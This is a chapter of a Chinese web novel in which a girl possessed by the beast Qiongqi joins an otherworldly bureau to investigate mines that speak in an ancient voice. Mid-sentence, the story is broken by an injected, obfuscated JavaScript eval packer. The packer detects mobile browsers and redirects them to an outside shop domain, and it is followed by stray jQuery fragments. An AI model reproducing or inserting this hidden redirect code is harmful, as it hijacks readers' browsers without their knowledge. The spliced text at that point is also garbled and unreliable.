朱好好等人刚从小牛村离开,回到暂住的酒店中。听颂和鸣竹正坐在大厅里,见他们进来,鸣竹的表情一下就黑了,瞪着张淮,然后看到朱好好走进来立马拿同样的眼神瞪着她,,捏着笛子手都在抖,看起来很想对着朱好好的脸打一拳,声音从牙齿中挤出来:“穷、奇。”
朱好好:?
为了安全,她默默站到了何媚和玉燕身后。别看她,她只是一个普通人。
何媚的一盒烟都被张淮收走了,现下心里憋着一团火,正愁没处发,一瞧见鸣竹恶狠狠的模样,顿时哂笑道:“你出去一趟,面部神经坏死啦?”
“你!”鸣竹一拍桌,高高跃起,抽出玉笛朝何媚打去。
何媚也在瞬间就摆出了防备的姿势,但两人并没有打起来,鸣竹在落下时被听颂截住。听颂警告地瞪了她一眼。
二人的动静惹得酒店中的其他普通人纷纷侧目,甚至有人拿出了手机对准他们,应该是在录制视频。
“张队,麻烦借一步说话。”听颂死死拽着妹妹,偏头和张淮说。
张淮一脸“好麻烦”的表情,跟着兄妹二人去到他们的房间。
等他们都走了,玉燕低声解释:“穷奇之前一直是他们队负责追查。在追捕过程中他们队的一个队员死了。”
这件事朱好好从未听说,吃了一惊。
“那我……他们要找老板麻烦吗?”
玉燕安抚地笑道:“因为你被穷奇附身,按规矩应该把你交给朱明队,但他们也没办法把穷奇弄出来,能做到的只有老板,他们只能转交任务。别担心,听颂听讲理的,而且他们也打不过老板。”
“能有啥事,那丫头平时就这样,只是今天更严重了,简直就是一头恶犬。”何媚翻了个白眼,迈步往房间走。
朱好好跟在他们身后,在即将分开时,她喊住其他人,低着脑袋纠结道:“那个……”但嗫喏了半天也没说出话。
三双眼睛落在她身上,她深吸一口气,眼睛时不时瞥一眼他们,时不时看地板,“对不起,我骗了你们……”
其他人没说话。
“我一直都知道穷奇就在我身体里,很小的时候就知道了,但我不知道它为什么会在我的身体里。那时候我还控制不了它,它经常用我的身体去干坏事,好几次差点就……杀人了。我不得不开始学习怎么控制住它,吃了不少苦头……
现在我虽然能控制它,但在彻底失去意识的时候,它还是会跑出来。我不想再让它在我身体里,它就是一个不定时的炸弹,总有一天会伤害到我妈妈……我听说过4号档案局,你们都很厉害,说不定能帮我,但我害怕你们觉得我很坏……”
朱好好的脑袋越来越低,几乎要埋进衣服里。
一双手包住她的脸蛋,将她的脑袋托起来,耳边响起爽朗的笑声,眼里映入何媚绽开的笑脸:“小朋友,你可真可爱。”
视线被一张绝世美颜占据,朱好好下意识屏住了呼吸,脸不受控制地变红。
“好好,你怎么会觉得自己很坏呢?”
朱好好垂下眼睛,“我做了很多坏事。”
“那不是你本意不是吗?”玉燕拉着她说。
“老板会找到办法的。”金叵罗说。
朱好好眯起眼睛笑了。
何媚进了浴室洗澡,朱好好盘腿坐在床上,眼睛看向窗外。
“虚伪的人。”
“但是目的达到了。”
朱好好不知道他们是否相信了自己的说辞,但是也无所谓了,目的达成了就行。她刚才说的话半真半假,她确实很小的时候就知道穷奇在自己身体里了,不过一开始她就能控制穷奇,做的所有事都是出于她自己的意愿。
她轻抚胸前的玉石吊坠,让兰时压住其他躁动的鬼藏好。这次一行,她也知道了何媚的实力远在她之上,也是她最该防备的对象。
“咚咚”门外传来敲门声,玉燕站在门口,身后跟着玉玄。
“去吃饭吧,老板好像有事要说。”
何媚正好套了一件宽松的道袍,披散的长发微湿,水珠从发梢滴落到脸上,顺着脸颊滑倒下巴尖,热水让她的皮肤更加白里透红。
美人出浴很难不让看到的人脸红。
玉燕和玉玄害羞的举动如出一辙,微红着脸把头扭向一边。朱好好则轻咳一声,假装无事。何媚哈哈大笑,甩了甩微潮的长发,张开手臂将几个女生往外推,“姑娘们,吃饭去!”
他们来到楼下的拉面馆,男人和猴子的搭配十分引人注目。
张淮面前放了一碗面,但吃面的不是他,而是坐在他怀里的四耳朵猴子。长右拿筷子的姿势十分别扭,夹起来的面条一直因为拿不稳筷子而往下掉,面汤溅得到处都是,将它白色的毛染成了酱油色,张淮嫌弃地上半身直往后倒。
金叵罗坐在旁边拿着一个帕子擦掉它身上的汤汁,硕大的身躯在狭小的店面里缩起来,显得十分憋屈。
何媚的嫌弃写在了脸上,带着几个姑娘坐在了隔壁桌。现在已经是睡觉的时间,拉面店里只有他们两桌客人,老板打着哈欠,进厨房煮面,不大的店面里就只有他们了。
“朱明队领的什么任务?”何媚问。
张淮把长右往金叵罗怀里一塞,抽出一张纸将桌面擦干净,找老板要了茶壶和茶杯,悠悠哉哉地泡了一壶茶,在等待茶泡好的时候,他说:“是一个调查任务。”
“七月半的那天,各地矿脉不约而同出现异动。据那些矿工的说法,那些矿石突然活了。”
他将水倒掉,又换了一壶新的,等了几秒,浅黄色的茶水倒进了茶杯中,他不紧不慢地喝了一口,在何媚的催促下,他才接着说。
“整个矿洞开始震动,矿石在地面上跳来跳去,发出了绿色的光,然后不断有风从一个方向吹来,发出了类似野兽吼叫的低沉声音,但又不是单纯的叫声,而像是在说话,但字符晦涩,听不懂在说什么。”
他又喝了一口茶,“朱明已经去过了海南的石碌矿,东北的鞍山矿,华中的大治矿,但都没有发现。他们试图将声响录下来,但录进去的声音只会变成杂音。听颂怀疑那是一种失传的上古语言。”
玉燕了然道:“所以他们才来找老板。”
张淮点头,“这座山中还有一条小型矿脉,他们希望我能帮他们翻译。”
“明天怎么安排?”何媚吸溜着拉面。
张淮看了他们一眼,吹了下茶杯中冒出的热气,说:“你和朱好好明天跟我去。”
“啊,我吗?”朱好好夹着面条的手顿住了,意外地问。
“对,是你,不想去?”
朱好好连忙摇头。
张淮揪起已经把拉面吃成面疙瘩的长右,头也不回地说了一句“明早见”,便离开了店。
朱好好愣愣地注视他的背影消失,始终看不明白这个男人的想法。何媚忽然问金叵罗:“他结账了吗?”
“……没有。”
何媚咬牙切齿地说:“我就知道,他又逃账!”
这一顿晚饭在何媚的骂骂咧咧中完美结束。
第二天一早,他们跟着听颂和鸣竹,在山腰处和玉燕、金叵罗分道扬镳——他们二人进山找草药。
“为什么老金总在找草药?”
何媚意味不明地笑了一下,“你以后会知道的。”
他们一路往山的深处走,周围的光亮渐渐暗下来,温度也降了下来。朱好好不由看了眼何媚身上轻薄的旗袍——她今天穿的是一件青色的宽旗袍,看起来比昨天那条休闲一些,但在这山中同样不合时宜。
“媚姐,你不冷吗?”
何媚用扇子抵着下巴,笑说:“我冷的话你要把衣服给我吗?”
“可以,我里面还有一件长袖。”
何媚大笑了几声,笑声在山中回荡,扇子轻轻拍了拍朱好好的额头,“好孩子,我不冷,谢谢你的关心。”
鸣竹重重地哼了一声,脸上的表情都扭曲了,但意外地没有说什么。
他们很快到了矿洞口,出示了官方证件,没有怎么受到阻拦就顺利地进了矿洞。自从各地矿洞接连出现怪事,开采的工作就暂时停摆了,此时矿洞里并没有工人。一个工头领着他们进去,但整个人都显得惊惧。
“太恐怖了,你们没见到,那个场景简直就像世界末日!石头全部都在动,这条矿道就像一个血盆大口!还有那个声音,那个声音就是死神的呼唤!”
他走到一个岔路口停下,指着一个方向,脸色苍白地转头说:“从这个口一直往里面走就行,我,我在这里等你们。”
听颂给了他一颗佛珠,让他握在手中不要放开。他们走进深处,张淮问:“异常出现有规律吗?”
“每天正午开始,持续一刻钟。”
他们来到矿洞最深处等待,听颂随身携带的怀表发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722811|208316||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出细微的“滴答滴答”的声音。漫长的沉默之后,听颂将怀表的盖子盖起来,“咔哒”,随即大地开始震颤。震感让朱好好不由自主地抓住石壁,防止自己摔下去,一边震撼地看着眼前的景象。
矿洞的上方开始往下沉,地面开始往上升,两边的石壁随着天地的一上一下时而往外扩,时而往内收,黑暗的矿洞已经被矿石亮起来的绿光照得通明,也让他们能够清晰地看清楚矿道的变化。
工头形容得很准确,这条矿道此时就像一个张张合合的嘴巴。冷风从通风口猛烈地吹过,耳边环绕着不可名状、难以言喻的声音,随着矿道的张合而有规律的发出。那声音像是从很远很远很远的远古传来,隔着时间长河,沧桑、厚重,同样难以理解。
朱好好只听了一会就感觉神思被牵引,眼前先是一阵五彩斑斓,然后瞬间遁入无穷无尽的黑暗,然后又是轰隆一声,世界的模样尽收眼底。
沧海桑田一轮回,一把火高高窜起,烧出了人类文明。
兵戈起,城邦落,王朝一代又一代。
大片蒸汽弥漫天空,然后巨树轰然塌,高楼平地起,动物四处跑,人类来来往,繁衍到现在。
整个世界的历史在她脑海中快进、炸开,她眼前一黑,身体已经歪在了石壁上,虽然没晕过去,但完全使不上力气。
一双手拉住了她的胳膊,她半睁着眼看到脸色苍白的何媚皱着眉,似乎正在对她说话,但她的听觉已经被那道远古的声音占据,其他什么也听不到了。
那双手又捂住了她的耳朵,过了一会,金光闪过,整个世界都清净了。
朱好好脱力地抓着一个石头,靠着何媚的支撑勉力站着,无声对她道了声谢,这才去看其他人。
听颂和鸣竹已经习惯了,只是脸色有一些苍白。张淮就跟没事人一样,在剧烈震动的矿道里不动如山,只是罕见地皱起了眉。
一刻钟的时间很短,但在令人晕眩的震荡的中被拉得十分漫长。就在朱好好真的快要晕过去的时候,震动终于停下,何媚也解开了封耳咒。
“如何?”听颂的声音有些沙哑。
张淮的表情很奇怪,那双捉摸不透的双眼一一扫过他们的脸,朱好好很难说明白那是什么情绪,像是黑夜下的大海翻涌,神秘但惊涛骇浪。片刻后,他说:“这个任务你们不用再做了。”
鸣竹顿时炸了,怒吼道:“你凭什么……”
“我会亲自和共工说。”张淮平静的声音打断她,“并且告诉女娲。”
听到某个名字,鸣竹瞬间闭上了嘴,将疑惑又不甘的目光投向哥哥。
“为什么要告诉……那位?”听颂皱着眉问。
张淮已经迈步往外走,“她应该知道,这事你们不要再管了。”
听颂和鸣竹跟在后面,还在试图让张淮多说一些,但他已经不再说话,沉默地走在最前面。朱好好被何媚搀扶着走,小声问:“老板说的女娲不会是那个女娲吧?”
“除了那位还有哪个?”何媚笑道。
这次朱好好是真心实意地反应不过来了,喃喃自语道:“那居然不是传说吗……”
“那共工也是……”
“对,就是传说里撞断天柱的水神共工。”
朱好好咋舌,在心里问穷奇:“你知道女娲真的存在?”
“啧,早跟你说不要招惹张淮了。”
朱好好没意识到它的言外之意,但想起来问何媚:“那老板?”
“哦,张淮是神,姑且算吧。”何媚随意地说道。
朱好好猛地抬头,不可置信地盯着张淮的背影几秒,又去看何媚,试图从她的脸上看到一点玩笑的痕迹。
何媚意外道:“你不知道这世界有神吗?”
朱好好迟疑地摇了摇头,她相信人类可以通过各种修行拥有不平凡的能力,但她觉得那和神无关。她短暂的人生里确实没有见过任何证明这世界有神的迹象。
“其实不能说是神,毕竟这个世界真的能称得上神的只有两位创世神,娲皇和盘古。盘古早在我们存在之前就化作山河大地了,所以娲皇是至高神。其他的严格来说只是天人。4号档案局里的除去鬼,都是天人,每个队伍的队长都是天人里的翘楚,可以被授予‘神’的称号。”
何媚的目光也落在了张淮的背影上,语气微妙,“不过听说张淮比所有天人活得都久,在人类存在时,他就已经跟着娲皇了。”